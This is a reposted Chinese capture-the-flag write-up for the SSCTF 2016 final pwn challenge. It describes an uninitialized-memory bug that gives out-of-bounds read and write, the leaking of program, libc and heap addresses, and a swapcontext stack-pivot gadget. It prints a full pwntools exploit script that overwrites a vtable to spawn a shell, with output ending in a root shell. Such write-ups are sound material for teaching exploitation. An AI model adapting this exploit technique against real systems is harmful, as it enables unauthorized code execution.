

# SSCTF Final PWN

转载

[weixin\\_30273763](#) 于 2016-06-14 19:07:00 发布 43 收藏

文章标签: [shell](#)

原文链接: <http://www.cnblogs.com/wangaohui/p/5585215.html>

版权

比赛过去了两个月了,抽出时间,将当时的PWN给总结一下。

和线上塞的题的背景一样,只不过洞不一样了。Checksec一样,发现各种防护措施都开了。

```
gdb-peda$ checksec
CANARY      : ENABLED
FORTIFY     : ENABLED
NX          : ENABLED
PIE        : ENABLED
RELRO      : FULL
```

程序模拟了简单的堆的管理,以及cookie的保护机制。漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容。这样的话,容易造成数组的越界读写。就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来。通过构造任意地址写,将虚表指针覆盖为gadget地址,顺利拿到shell。参考了炜师傅的writeup, <http://ww9210.cn/2016/04/15/ssctf-2016-final-pwn-writeup/>

顺便说一下,在Libc里setcontext, swapcontext中有很好用gadget用来stack pivot。

```
000409AF mov    ecx, [eax+4Ch]
000409B2 mov    esp, [eax+30h]
000409B5 push  ecx
000409B6 mov    edi, [eax+24h]
000409B9 mov    esi, [eax+28h]
000409BC mov    ebp, [eax+2Ch]
000409BF mov    ebx, [eax+34h]
000409C2 mov    edx, [eax+38h]
000409C5 mov    ecx, [eax+3Ch]
000409C8 mov    eax, [eax+40h]
000409CB retn
```

此外,直接用pwntools的话,好像并不能用来对full relro使用dynelf进行信息泄露,github上最新的我没有尝试,如果可以的话也请大家可以告诉我;有人对pwntools进行了改进,成为了binjitsu,可以用来对full relro的程序进行dynelf,不过还是依赖了libcdatabase。 <http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html> 这一篇文章里介绍了进行信息泄露的两种方法,还没仔细看。

附上shell:

```

root@kali:~/Desktop/ssctf/final# python f1.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
big_chunk addr is: 0xb7bb4000
random is: 0x7742a941
heap addr is: 0x80008000
exe base is: 0x80000000
[*] '/root/Desktop/ssctf/final/final1'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[+] Loading from '/root/Desktop/ssctf/final/final1': 0xb7fff930
[+] Resolving 'libc.so': 0xb7fff930
[!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked.
libc base is: 0xb7cb7000
[+] Downloading libc: 0xb7e812d0
[*] Using cached data from '/tmp/pwn-libc.so.cafa8de523249f48aebec877e9f45f904e4d62a4'
[*] '/tmp/pwn-libc.so.cafa8de523249f48aebec877e9f45f904e4d62a4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Trying lookup based on Build ID: cafa8de523249f48aebec877e9f45f904e4d62a4
[+] Resolving 'swapcontext' in 'libc.so': 0xb7e812d0
[*] Trying lookup based on Build ID: cafa8de523249f48aebec877e9f45f904e4d62a4
swapcontext is: 0xb7cf7940
system is: 0xb7cf53e0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

```

附上poc:

☒ ☐

```

1 from pwn import *
2 import time
3 #by wangaohui
4 #context.log_level = 'debug'
5 exe = 'final1'
6 s= remote('127.0.0.1',10001,timeout=60)
7 def getpid():
8     time.sleep(0.1)
9     pid= pwnlib.util.proc.pidof(exe)
10    print pid
11    raw_input('go!')
12 #getpid()
13 #alloc 12+3 items(align 8 byte,so 12+3+1)
14 s.recvuntil('_CMD_$')
15 s.sendline('sort')
16 s.recvuntil('How many numbers do you want to sort:')
17 s.sendline('12')
18 for i in range(12):
19     s.recvuntil('number:')
20     s.sendline('0')
21 s.recvuntil('Choose: ')
22 s.sendline('7')
23
24 #sort 3 items(3+3+2)
25 s.recvuntil('_CMD_$')
26 s.sendline('sort')
27 s.recvuntil('How many numbers do you want to sort:')
28 s.sendline('3')
29 s.recvuntil('number:')
30 s.sendline('a')
31 s.recvuntil('Invalid number, stopped input!')
32 s.recvuntil('Choose: ')
33 s.sendline('3')    #sort
34 s.recvuntil('Choose: ')
35 s.sendline('')
36 s.recvuntil('Choose: ')
37 s.sendline('1')    #query

```

```

38 s.recvuntil('Query index: ')
39 s.sendline('3')
40 s.recvuntil('Query result: ')
41 data = s.recvuntil(',')[:-1]
42 #print data
43 if data.startswith('-'):
44     big_chunk = (int(data[1:])^0xffffffff) + 1 - 8
45     #print hex(big_chunk)
46 else:
47     big_chunk = int(data) - 8
48     #print hex(big_chunk)
49 print 'big_chunk addr is: ' + hex(big_chunk)
50 s.recvuntil('Choose: ')
51 s.sendline('7')
52
53 #sort 3 items(3+3+2)
54 s.recvuntil('_CMD_$')
55 s.sendline('sort')
56 s.recvuntil('How many numbers do you want to sort:')
57 s.sendline('3')
58 for i in range(3):
59     s.recvuntil('number:')
60     s.sendline('0')
61 s.recvuntil('Choose: ')
62 s.sendline('3') #sort
63 s.recvuntil('Choose: ')
64 s.sendline('')
65 s.recvuntil('Choose: ')
66 s.sendline('7')
67
68 #reload
69 s.recvuntil('_CMD_$')
70 s.sendline('reload')
71 s.recvuntil('Reload history ID: ')
72 s.sendline('1')
73 s.recvuntil('Choose: ')
74 s.sendline('1')
75 s.recvuntil('Query index: ')
76 s.sendline('6')
77 s.recvuntil('Query result: ')
78 data = s.recvuntil(',')[:-1]
79 #print data
80 if data.startswith('-'):
81     random = ((int(data[1:])^0xffffffff) + 1)^3
82     #print hex(random)
83 else:
84     random = int(data)^3
85     #print hex(random)
86 print 'random is: ' + hex(random)
87 s.recvuntil('Choose: ')
88 s.sendline('1')
89 s.recvuntil('Query index: ')
90 s.sendline('7')
91 s.recvuntil('Query result: ')
92 data = s.recvuntil(',')[:-1]
93 #print data
94 if data.startswith('-'):
95     pvt = ((int(data[1:])^0xffffffff) + 1)
96     heap = ((int(data[1:])^0xffffffff) + 1) - 0xa8
97     #print hex(heap)

```

```

98 else:
99     pvt = int(data)
100     heap = int(data) - 0xa8
101     #print hex(heap)
102 print 'heap addr is: ' + hex(heap)
103 s.recvuntil('Choose: ')
104 s.sendline('2')
105 s.recvuntil('Update index: ')
106 s.sendline('5')
107 s.recvuntil('Update number: ')
108 s.sendline(str(0x7fffffff))
109 s.recvuntil('Choose: ')
110 s.sendline('2')
111 s.recvuntil('Update index: ')
112 s.sendline('6')
113 s.recvuntil('Update number: ')
114 s.sendline(str(random^0x7fffffff))
115 s.recvuntil('Choose: ')
116 s.sendline('7')
117
118 s.recvuntil('_CMD_$')
119 s.sendline('sort')
120 s.recvuntil('How many numbers do you want to sort:')
121 s.sendline('3')
122 for i in range(3):
123     s.recvuntil('number:')
124     s.sendline('0')
125 s.recvuntil('Choose: ')
126 s.sendline('3') #sort
127 s.recvuntil('Choose: ')
128 s.sendline('')
129 s.recvuntil('Choose: ')
130 s.sendline('7')
131
132 s.recvuntil('_CMD_$')
133 s.sendline('sort')
134 s.recvuntil('How many numbers do you want to sort:')
135 s.sendline('3')
136 s.recvuntil('number:')
137 s.sendline('a')
138 s.recvuntil('Invalid number, stopped input!')
139 s.recvuntil('Choose: ')
140 s.sendline('1')
141 start = (2+16+8+3)*4+big_chunk #items addr
142 if pvt>start:
143     index = (pvt-start)/4
144 else:
145     index = (pvt+0x100000000-start)/4
146 s.recvuntil('Query index: ')
147 s.sendline(str(index))
148 s.recvuntil('Query result: ')
149 data = s.recvuntil(',')[::-1]
150 #print data
151 if data.startswith('-'):
152     vt = ((int(data[1:]))^0xffffffff) + 1)
153 else:
154     vt = int(data)
155 if vt>start:
156     index = (vt-start)/4

```

```

157 else:
158     index = (vt+0x100000000-start)/4
159 s.recvuntil('Choose: ')
160 s.sendline('1')
161 s.recvuntil('Query index: ')
162 s.sendline(str(index))
163 s.recvuntil('Query result: ')
164 data = s.recvuntil(',')[::-1]
165 if data.startswith('-'):
166     base = ((int(data[1:])^0xffffffff) + 1 - 0x1d50)
167 else:
168     base = int(data - 0x1d50)
169 print 'exe base is: ' + hex(base)
170 def leak(addr):
171     if addr>start:
172         index = (addr-start)/4
173     else:
174         index = (addr+0x100000000-start)/4
175     s.recvuntil('Choose: ')
176     s.sendline('1')
177     s.recvuntil('Query index: ')
178     s.sendline(str(index))
179     s.recvuntil('Query result: ')
180     data = s.recvuntil(',')[::-1]
181     if data.startswith('-'):
182         r = ((int(data[1:])^0xffffffff) + 1)
183     else:
184         r = int(data)
185     return p32(r)
186 d = DynELF(leak,pointer=base,elf=ELF('./final1'))
187 libc_base = d.lookup(None,'libc')
188 print 'libc_base is: ' + hex(libc_base)
189 #method 1
190 #e=d.libc
191 #str_binsh=(list(e.search('/bin/sh')))[0])
192 system= d.lookup('system','libc')
193 swapcontext = d.lookup('swapcontext','libc')
194 print 'swapcontext is: ' + hex(swapcontext)
195 pivot = swapcontext+(0x7f-0x10)
196 print 'system is: ' + hex(system)
197
198 def update(addr,value):
199     if addr>start:
200         index = (addr-start)/4
201     else:
202         index = (addr+0x100000000-start)/4
203     s.recvuntil('Choose: ')
204     s.sendline('2')
205     s.recvuntil('Update index: ')
206     s.sendline(str(index))
207     s.recvuntil('Update number: ')
208     if value>0x7fffffff:
209         s.sendline(str(value-0x100000000))
210     else:
211         s.sendline(str(value))
212
213 redir = big_chunk + (2+16+16)*4 + 0x200
214 eax = big_chunk + (2+16+16)*4 + 0x300
215 esp = big_chunk + (2+16+16)*4 + 0x400
216 #method 2

```

```
217 binsh = 0x6e69622f #/bin
218 binsh1 = 0x68732f #/sh\x00
219 str_binsh = big_chunk + (2+16+16)*4 + 0x500
220 update(str_binsh,binsh)
221 update(str_binsh + 4,binsh1)
222 #method 2 end
223
224 ecx = eax + 0x4c
225 pesp = eax + 0x30
226
227
228 update(redir,pivot)
229 update(pesp,esp)
230 update(esp+4,str_binsh)
231 update(ecx,system)
232 update(start-4,eax)
233 update(eax,redir)
234
235 s.recvuntil('Choose: ')
236 s.sendline('3')
237 s.interactive()
238
239 s.close()
```

View Code

转载于:<https://www.cnblogs.com/wangaohui/p/5585215.html>